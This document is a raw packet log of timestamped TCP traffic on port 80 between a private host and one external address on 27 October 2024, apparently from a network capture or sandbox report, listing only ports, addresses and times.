Oct 27, 2024 17:17:24.919802904 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:24.919852018 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:24.919925928 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.920021057 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.920114994 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.920149088 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.920182943 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.920209885 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:24.920214891 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.920248985 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.920509100 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:24.920586109 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.920636892 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.920669079 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.920696020 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:24.920861006 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.920912027 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.920944929 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.920944929 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:24.921058893 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:24.921145916 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.921179056 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.921207905 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:24.921227932 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.921261072 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.921293020 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.921328068 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.921355009 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:24.921832085 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.921880007 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.921915054 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.921921015 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:24.921947002 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.921981096 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.921983957 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:24.922015905 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.922020912 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:24.963823080 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.963865042 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.963882923 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:24.963901997 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.963967085 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:24.998647928 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.998740911 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.998771906 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.998806000 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.998806953 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:24.998842001 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.998862028 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:24.998876095 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.998975992 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.037193060 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.037218094 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.037235975 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.037250996 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.037267923 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.037275076 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.037316084 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.037389040 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.037446022 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.037470102 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.037486076 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.037488937 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.037502050 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.037506104 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.037535906 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.037977934 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.038002014 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.038017035 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.038057089 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.038207054 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.038244009 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.038297892 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.038311958 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.038327932 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.038348913 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.038350105 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.038395882 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.038772106 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.038795948 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.038856030 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.038876057 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.038892031 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.038914919 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.038929939 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.038947105 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.038952112 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.038959980 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.038980961 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.039010048 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.039565086 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.039578915 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.039655924 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.039693117 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.039694071 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.039709091 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.039748907 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.081103086 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.081135988 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.081146955 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.081149101 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.081165075 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.081231117 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.081237078 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.081252098 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.081305981 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.116204977 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.116240025 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.116256952 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.116275072 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.116307974 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.116353035 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.116362095 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.116889000 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.154623032 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.154659033 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.154706955 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.154716015 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.154782057 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.154814959 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.154848099 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.154851913 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.154881954 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.154891968 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.154932976 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.154966116 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.154973984 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.155042887 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.155075073 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.155108929 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.155117035 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.155142069 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.155148029 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.155175924 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.155216932 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.155478954 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.155512094 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.155544043 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.155558109 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.155592918 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.155662060 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.155668974 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.155697107 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.155740976 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.155760050 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.155792952 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.155837059 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.156055927 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.156107903 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.156140089 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.156186104 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.156335115 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.156387091 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.156420946 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.156433105 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.156454086 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.156467915 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.156490088 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.156542063 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.197475910 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.197499990 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.197518110 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.197566986 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.198564053 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.198594093 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.198628902 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.198647976 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.198681116 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.198689938 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.198714972 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.198748112 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.198786020 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.233575106 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.233604908 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.233623028 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.233656883 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.233690977 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.233716011 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.233724117 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.233762980 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.271990061 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.272023916 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.272058964 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.272094965 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.272109032 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.272129059 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.272136927 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.272181988 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.272217035 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.272223949 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.272284031 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.272377014 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.272387028 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.272428989 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.272460938 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.272469044 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.272705078 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.272737980 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.272761106 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.272773027 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.272806883 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.272840023 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.272841930 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.272882938 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.273014069 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.273066044 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.273097992 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.273109913 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.273209095 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.273252964 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.273266077 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.273314953 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.273349047 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.273385048 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.273386955 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.273535013 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.273675919 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.273710012 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.273819923 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.273925066 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.273957968 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.273993015 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.274034023 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.274076939 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.274111986 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.274144888 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.274156094 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.274190903 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.315042973 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.315068007 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.315087080 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.315114021 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.315938950 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.315993071 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.315994024 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.316063881 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.316097975 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.316133976 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.316143036 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.316170931 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.316212893 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.350929976 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.350986004 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.351016998 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.351036072 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.351068974 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.351068974 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.351103067 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.351135969 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.351141930 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.389297962 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.389364004 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.389441967 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.389452934 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.389462948 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.389475107 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.389486074 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.389499903 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.389511108 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.389528036 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.389528036 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.389545918 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.389816046 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.389846087 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.389852047 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.389858007 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.389895916 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.389998913 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.390049934 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.390059948 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.390083075 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.390089035 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.390150070 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.390305996 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.390316010 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.390326977 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.390362024 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.390458107 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.390469074 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.390492916 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.390701056 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.390738964 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.390769005 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.391105890 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.391124010 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.391135931 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.391146898 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.391158104 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.391169071 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.391166925 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.391181946 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.391194105 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.391200066 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.391200066 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.391205072 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.391211033 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.391222000 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.391278028 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.391278028 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.432288885 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.432301044 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.432312965 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.432344913 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.433537960 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.433557034 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.433569908 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.433595896 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.433628082 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.433702946 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.433715105 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.433754921 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.433826923 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.468369961 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.468384027 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.468395948 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.468406916 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.468420982 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.468463898 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.468472958 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.468483925 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.468512058 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.506977081 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.507004976 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.507015944 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.507051945 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.507093906 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.507177114 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.507194996 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.507205009 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.507239103 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.507363081 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.507381916 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.507394075 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.507401943 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.507436037 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.507478952 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.507492065 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.507502079 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.507514954 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.507538080 CET	49714	80	192.168.2.5	185.215.113.16
